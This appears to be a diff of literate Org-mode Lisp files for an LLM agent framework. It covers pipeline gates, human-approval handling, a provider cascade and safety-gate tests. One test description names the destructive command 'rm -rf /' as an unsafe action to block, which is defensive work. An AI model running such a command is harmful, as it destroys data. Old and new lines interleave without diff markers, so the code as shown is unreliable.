(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
#+end_src
|
||||
@@ -27,6 +27,14 @@ The `*loop-async-sensors*` list defines which sensor types are processed in dedi
|
||||
|
||||
The depth limit prevents runaway recursive loops. A signal that generates another signal that generates another signal can infinite-loop. If depth exceeds a threshold (10), the signal is silently dropped rather than processed. This is the metabolic loop's circuit breaker.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (loop-gate-perceive signal): normalizes sensory input. Routes by
|
||||
sensor type (~:buffer-update~, ~:point-update~, ~:interrupt~,
|
||||
~:approval-required~) and signal type (~:EVENT~, ~:RESPONSE~).
|
||||
Sets ~:status :perceived~ on completion. Returns the signal.
|
||||
2. (perceive-gate signal): thin alias for ~loop-gate-perceive~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -38,30 +46,88 @@ The depth limit prevents runaway recursive loops. A signal that generates anothe
|
||||
|
||||
A global interrupt flag that can be set by any signal. When set, the metabolic loop should stop processing and clean up. This is used for graceful shutdown: a SIGINT or /exit command sets the flag, and the loop exits at the next cycle boundary.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *loop-interrupt* nil)
|
||||
#+end_src
|
||||
|
||||
** Scope Resolver
|
||||
|
||||
A hook for the context-manager skill to register its ~current-scope~
|
||||
function. When set, the perceive gate passes the current context scope
|
||||
to ~ingest-ast~ so ingested objects are tagged and queryable by scope.
|
||||
Defaults to ~nil~ meaning all objects are ingested as ~:memex~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *scope-resolver* nil
|
||||
"If set, function returning current scope keyword. Used by perceive gate.")
|
||||
#+end_src
|
||||
|
||||
** Sensor Configuration
|
||||
|
||||
~*loop-async-sensors*~ lists the sensor types that should be processed in their own threads. Currently, ~:chat-message~, ~:delegation~, and ~:user-command~ are async because they don't block the main reasoning loop — the agent can process a Telegram message while waiting for the user's next input.
|
||||
|
||||
~*loop-focus-id*~ tracks what the user is currently looking at in Emacs. When the user moves their cursor to a different Org headline, the buffer-update signal updates this ID. The Reason stage uses it to build the foveal-peripheral context model: the current headline gets full detail, everything else gets a skeletal outline.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
|
||||
"Sensors that are processed in dedicated threads.")
|
||||
|
||||
#+end_src
|
||||
** *loop-focus-id*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *loop-focus-id* nil
|
||||
"The Org ID of the node the user is currently interacting with.")
|
||||
#+end_src
|
||||
|
||||
** Pre-Reason Handler Registry
|
||||
|
||||
Skills register handlers for custom sensors here. When a signal arrives
|
||||
with a registered sensor, the handler is called in the perceive gate,
|
||||
before the signal reaches the LLM. The handler receives the full signal
|
||||
and returns T if the signal was consumed (don't continue to reason)
|
||||
or nil if processing should proceed normally.
|
||||
|
||||
*** Pre-Reason Handler Hash Table
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
|
||||
"Pre-reason handler registry: sensor keyword → handler function.")
|
||||
#+end_src
|
||||
|
||||
*** register-pre-reason-handler
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun register-pre-reason-handler (sensor fn)
|
||||
"Registers FN to handle signals with SENSOR in the perceive gate.
|
||||
FN receives (signal) and returns T if consumed, nil to continue."
|
||||
(setf (gethash sensor *pre-reason-handlers*) fn))
|
||||
#+end_src
|
||||
|
||||
** inject-stimulus backward-compatibility alias
|
||||
|
||||
Skills and external code that still call ~inject-stimulus~ (the previous
|
||||
name for the pipeline injection function) can use this alias. New code
|
||||
should call ~stimulus-inject~ directly.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun inject-stimulus (raw-message &key stream (depth 0))
|
||||
(stimulus-inject raw-message :stream stream :depth depth))
|
||||
#+end_src
|
||||
|
||||
** Stimulus Injection (stimulus-inject)
|
||||
|
||||
This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system.
|
||||
|
||||
The error recovery uses Common Lisp's restart system. If any error occurs during processing, a `skip-event` restart is available. The handler displays the error, then invokes `skip-event` which drops the stimulus and continues. This is the "fail open" safety model — better to drop one message than to crash the entire agent.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun stimulus-inject (raw-message &key stream (depth 0))
|
||||
"Inject a raw message into the signal processing pipeline."
|
||||
@@ -107,32 +173,58 @@ The perceive gate is the first stage of the metabolic pipeline. It receives a no
|
||||
|
||||
All signals get tagged with their processing stage (`:status :perceived`) and the current foveal focus before being passed to the Reason stage.
|
||||
|
||||
*** loop-gate-perceive
|
||||
|
||||
The main perceive pipeline stage.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun loop-gate-perceive (signal)
|
||||
"Stage 1 of the metabolic pipeline: Normalize sensory input."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
;; HITL: intercept approval/denial commands before LLM processing
|
||||
(when (and (eq sensor :user-input)
|
||||
(stringp (getf payload :text)))
|
||||
(let ((text (getf payload :text)))
|
||||
(when (ignore-errors (hitl-handle-message text (getf meta :source)))
|
||||
(log-message "GATE [Perceive]: HITL command processed — ~a" text)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
|
||||
(let ((handler (gethash sensor *pre-reason-handlers*)))
|
||||
(when handler
|
||||
(when (funcall handler signal)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
|
||||
(log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
|
||||
type (or sensor "no-sensor") (getf meta :source))
|
||||
|
||||
(cond ((eq type :EVENT)
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *loop-focus-id* (getf element :id))
|
||||
(ingest-ast element))))
|
||||
(:interrupt
|
||||
(setf *loop-interrupt* t))))
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *loop-focus-id* (getf element :id))
|
||||
(ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:interrupt
|
||||
(setf *loop-interrupt* t))
|
||||
;; HITL: re-injected approved action from dispatcher-approvals-process
|
||||
(:approval-required
|
||||
(when (getf payload :approved)
|
||||
(log-message "GATE [Perceive]: Approved Flight Plan re-injected")
|
||||
(setf (getf signal :approved) t)
|
||||
(setf (getf signal :approved-action) (getf payload :action))))
|
||||
;; Default sensor: pass through without requiring user-input processing
|
||||
(otherwise
|
||||
(log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
|
||||
((eq type :RESPONSE)
|
||||
(log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
|
||||
|
||||
@@ -141,6 +233,18 @@ All signals get tagged with their processing stage (`:status :perceived`) and th
|
||||
signal))
|
||||
#+end_src
|
||||
|
||||
*** perceive-gate (backward-compatibility alias)
|
||||
|
||||
The pipeline gate was originally named ~perceive-gate~. Code that still
|
||||
uses the old name can call this alias. New code should call
|
||||
~loop-gate-perceive~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun perceive-gate (signal)
|
||||
(loop-gate-perceive signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals.
|
||||
#+begin_src lisp :tangle ../lisp/core-loop-perceive.lisp
|
||||
@@ -157,13 +261,34 @@ Verifies that the perceive gate correctly ingests AST nodes into memory and that
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory*))))))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
#+end_src
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
#+end_src
|
||||
@@ -36,6 +36,22 @@ A plist is simultaneously:
|
||||
|
||||
This is not a cosmetic choice. It means the reasoning pipeline can generate, modify, and execute its own communication protocol without external parsing libraries. There is no JSON encoder, no schema validator, no serialization layer between the two engines. They speak the same language because they *are* the same language.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (cognitive-verify proposed-action context): runs all registered
|
||||
deterministic gates sorted by priority. Returns a rejection plist
|
||||
(~:LOG~ or ~:EVENT~) if any gate blocks the action, an
|
||||
~:approval-required~ event if a gate requires HITL, or the action
|
||||
(potentially modified) if it passes.
|
||||
2. (loop-gate-reason signal): the full reason pipeline — only processes
|
||||
~:user-input~ and ~:chat-message~ sensors. Runs ~think~ to generate
|
||||
a candidate, then ~cognitive-verify~ to gate it. Retries up to 3
|
||||
times on rejection. Sets ~:status :reasoned~ on completion.
|
||||
3. (reason-gate signal): thin alias for ~loop-gate-reason~.
|
||||
4. (backend-cascade-call prompt): iterates ~*provider-cascade*~ calling
|
||||
each backend's handler until one succeeds. Returns the LLM content
|
||||
string, or a ~:LOG~ failure if all backends are exhausted.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -43,7 +59,21 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Probabilistic Engine State
|
||||
** Probabilistic Backend Registry
|
||||
|
||||
~*probabilistic-backends*~ is a hash table mapping provider keywords to
|
||||
their handler functions. Populated by ~register-probabilistic-backend~.
|
||||
Skills like system-model-provider register into this table at boot time.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
|
||||
"Maps provider keyword → handler function (prompt system-prompt &key model).")
|
||||
|
||||
(defun register-probabilistic-backend (name fn)
|
||||
"Register FN as the handler for provider NAME."
|
||||
(setf (gethash name *probabilistic-backends*) fn))
|
||||
#+end_src
|
||||
|
||||
The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
|
||||
|
||||
@@ -51,18 +81,28 @@ The probabilistic engine maintains four pieces of global state that control how
|
||||
|
||||
These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *backend-registry* (make-hash-table :test 'equal))
|
||||
#+end_src
|
||||
|
||||
** Provider Cascade
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *provider-cascade* nil)
|
||||
#+end_src
|
||||
|
||||
** Model Selector
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *model-selector* nil)
|
||||
#+end_src
|
||||
|
||||
** Consensus Toggle
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *consensus-enabled* nil)
|
||||
#+end_src
|
||||
@@ -74,6 +114,7 @@ Each LLM provider registers itself by calling this function. The backend functio
|
||||
Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
|
||||
(backend-register :my-custom-provider #'my-fn)
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun backend-register (name fn)
|
||||
(setf (gethash name *backend-registry*) fn))
|
||||
@@ -90,52 +131,39 @@ The function has a fallback for every failure mode:
|
||||
|
||||
This is deliberately resilient. The system should never crash because an LLM provider is down. It should log the failure, try the next provider, and if all fail, return a diagnostic message that the deterministic engine can present to the user.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun backend-cascade-call (prompt &key
|
||||
(system-prompt "You are the Probabilistic engine.")
|
||||
(cascade nil)
|
||||
(context nil))
|
||||
(let ((backends (or cascade *provider-cascade*)))
|
||||
(or (dolist (backend backends)
|
||||
(let ((backend-fn (gethash backend *backend-registry*)))
|
||||
(when backend-fn
|
||||
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (when *model-selector*
|
||||
(funcall *model-selector* backend context)))
|
||||
(result (if model
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt))))
|
||||
(cond ((and (listp result) (eq (getf result :status) :success))
|
||||
(return (getf result :content)))
|
||||
((stringp result)
|
||||
(return result))
|
||||
(t
|
||||
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf result :message))))))))
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
|
||||
#+end_src
|
||||
|
||||
** Cognitive Proposal Generation (think)
|
||||
|
||||
The ~think~ function is where the creative brain does its work. It assembles the full context for the LLM: the system identity, the available tools, the current global context from memory, the recent system logs, and any rejection trace from a previous failed proposal. It also collects augment strings from any skill that has registered a ~system-prompt-augment~ function.
|
||||
|
||||
A note on the augment system: skills can contribute context-specific mandates to the LLM prompt. For example, the REPL skill injects the "prototype in the REPL first" mandate when the context suggests the agent is editing Lisp code. This keeps domain-specific instructions out of the harness while still ensuring they appear in the prompt when relevant.
|
||||
|
||||
The LLM's response is expected to be a plist. If it is, it gets parsed and normalized. If it's a string that starts with ~(~ or ~[~, it's read as Lisp data. If it's neither, it falls back to a REQUEST with a MESSAGE action — the raw text.
|
||||
|
||||
** Pre-processing: strip markdown from LLM output
|
||||
|
||||
LLMs often wrap structured output in markdown code fences:
|
||||
|
||||
```lisp
|
||||
(:TYPE :REQUEST ...)
|
||||
```
|
||||
|
||||
This function strips the fences so the reader can parse the plist.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun markdown-strip (text)
|
||||
(let ((backends (or cascade *provider-cascade*))
|
||||
(result nil))
|
||||
(dolist (backend backends (or result
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
|
||||
(let ((backend-fn (or (gethash backend *backend-registry*)
|
||||
(gethash backend *probabilistic-backends*))))
|
||||
(when backend-fn
|
||||
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (and *model-selector*
|
||||
(funcall *model-selector* backend context)))
|
||||
(skip (eq model :skip))
|
||||
(r (unless skip
|
||||
(if (and model (not skip))
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt)))))
|
||||
(when skip
|
||||
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
|
||||
(cond ((and (listp r) (eq (getf r :status) :success))
|
||||
(setf result (getf r :content))
|
||||
(return result))
|
||||
((stringp r)
|
||||
(setf result r)
|
||||
(return result))
|
||||
(t
|
||||
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf r :message))))))))))(defun markdown-strip (text)
|
||||
(if (and text (stringp text))
|
||||
(let ((cleaned text))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
|
||||
@@ -149,6 +177,7 @@ This function strips the fences so the reader can parse the plist.
|
||||
|
||||
Lisp keywords are case-sensitive. The LLM might produce ~:payload~ or ~:PAYLOAD~ or ~:Payload~ depending on the model. This function normalizes all keyword keys to uppercase to ensure the deterministic engine receives consistent input.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun plist-keywords-normalize (plist)
|
||||
(when (listp plist)
|
||||
@@ -170,6 +199,7 @@ The function handles several cases:
|
||||
|
||||
The system prompt assembly order — identity, tools, context, logs, mandates — is intentional: the most dynamic content (mandates from skills) comes last so it has the most influence on the LLM's output.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun think (context)
|
||||
(let* ((active-skill (find-triggered-skill context))
|
||||
@@ -194,19 +224,31 @@ The system prompt assembly order — identity, tools, context, logs, mandates
|
||||
(let ((aug-text (ignore-errors (funcall aug-fn context))))
|
||||
(when (and aug-text (stringp aug-text) (> (length aug-text) 0))
|
||||
(setf augments (concatenate 'string augments aug-text (string #\Newline))))))))
|
||||
*skills-registry*)
|
||||
*skill-registry*)
|
||||
(when (> (length augments) 0) augments)))
|
||||
(system-prompt (format nil "IDENTITY: ~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a~%~a"
|
||||
assistant-name reflection-feedback tool-belt global-context system-logs
|
||||
(or skill-augments ""))))
|
||||
(let* ((thought (backend-cascade-call raw-prompt :system-prompt system-prompt :context context))
|
||||
(cleaned (markdown-strip thought)))
|
||||
(cleaned (if (and (listp thought) (getf thought :type))
|
||||
(format nil "~a" (getf (getf thought :payload) :text))
|
||||
(markdown-strip thought))))
|
||||
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
|
||||
(handler-case
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(plist-keywords-normalize parsed)
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(let ((normalized (plist-keywords-normalize parsed)))
|
||||
;; Ensure explanation is present in the payload for policy gate
|
||||
(let ((payload (proto-get normalized :payload)))
|
||||
(if (and payload (proto-get payload :explanation))
|
||||
normalized
|
||||
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
|
||||
(if (listp payload) payload nil))))
|
||||
(list* :PAYLOAD new-payload
|
||||
(loop for (k v) on normalized by #'cddr
|
||||
unless (eq k :PAYLOAD)
|
||||
collect k collect v))))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))
|
||||
#+end_src
|
||||
@@ -223,27 +265,37 @@ Gates run in priority order, highest first. If any gate returns a LOG or EVENT,
|
||||
|
||||
This architecture makes safety compositional: each skill adds one constraint. The bouncer checks secrets. The policy checks explanations. The shell actuator checks destructive commands. No single skill needs to understand the full security model.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun cognitive-verify (proposed-action context)
|
||||
(let ((current-action proposed-action)
|
||||
(skills nil))
|
||||
"Runs all registered deterministic gates against the proposed action,
|
||||
sorted by priority (highest first). Returns a rejection plist or the action."
|
||||
(let ((current-action (copy-tree proposed-action))
|
||||
(approval-needed nil)
|
||||
(approval-action nil)
|
||||
(gates nil))
|
||||
;; Collect gates sorted by priority (highest first)
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (skill-deterministic-fn skill)
|
||||
(push skill skills)))
|
||||
*skills-registry*)
|
||||
(setf skills (sort skills #'> :key #'skill-priority))
|
||||
(dolist (skill skills)
|
||||
(let ((trigger (skill-trigger-fn skill))
|
||||
(gate (skill-deterministic-fn skill)))
|
||||
(when (or (null trigger) (ignore-errors (funcall trigger context)))
|
||||
(let ((next-action (funcall gate current-action context)))
|
||||
(when (and (listp next-action)
|
||||
(member (proto-get next-action :type) '(:LOG :EVENT)))
|
||||
(log-message "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
|
||||
(return-from cognitive-verify next-action))
|
||||
(when next-action (setf current-action next-action))))))
|
||||
current-action))
|
||||
(push (cons (skill-priority skill) (skill-deterministic-fn skill)) gates)))
|
||||
*skill-registry*)
|
||||
(setf gates (sort gates #'> :key #'car))
|
||||
(dolist (gate-pair gates)
|
||||
(let ((result (funcall (cdr gate-pair) current-action context)))
|
||||
(cond
|
||||
((eq (getf result :level) :approval-required)
|
||||
(setf approval-needed t
|
||||
approval-action (getf (getf result :payload) :action)))
|
||||
((member (getf result :type) '(:LOG :EVENT))
|
||||
(return-from cognitive-verify result))
|
||||
((and (listp result) result)
|
||||
(setf current-action result)))))
|
||||
(if approval-needed
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required
|
||||
:action approval-action))
|
||||
current-action)))
|
||||
#+end_src
|
||||
|
||||
** Reason Gate (Stage 2)
|
||||
@@ -254,6 +306,9 @@ The loop has retry logic: up to 3 attempts. If the deterministic engine rejects
|
||||
|
||||
The retry limit prevents infinite loops. If the LLM cannot produce a passable proposal within 3 attempts, the last rejection reason is attached to the signal and the acted pipeline sees a failed reasoning cycle.
|
||||
|
||||
*** loop-gate-reason
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun loop-gate-reason (signal)
|
||||
(let* ((type (proto-get signal :type))
|
||||
@@ -272,20 +327,39 @@ The retry limit prevents infinite loops. If the LLM cannot produce a passable pr
|
||||
(when last-rejection
|
||||
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
|
||||
(let ((candidate (think current-signal)))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (cognitive-verify candidate current-signal)))
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (cognitive-verify candidate current-signal)))
|
||||
;; Approval-required is not a rejection — pass to act for Flight Plan
|
||||
(if (eq (getf verified :level) :approval-required)
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :requires-approval)
|
||||
(return signal))
|
||||
;; Hard rejection: retry with feedback
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal)))))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))))))
|
||||
#+end_src
|
||||
|
||||
*** reason-gate (backward-compatibility alias)
|
||||
|
||||
The pipeline gate was originally named ~reason-gate~. Code that still
|
||||
uses the old name can call this alias. New code should call
|
||||
~loop-gate-reason~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun reason-gate (signal)
|
||||
(loop-gate-reason signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones.
|
||||
#+begin_src lisp :tangle ../lisp/core-loop-reason.lisp
|
||||
@@ -302,7 +376,8 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
@@ -315,4 +390,74 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (equal candidate result))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (equal candidate result))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
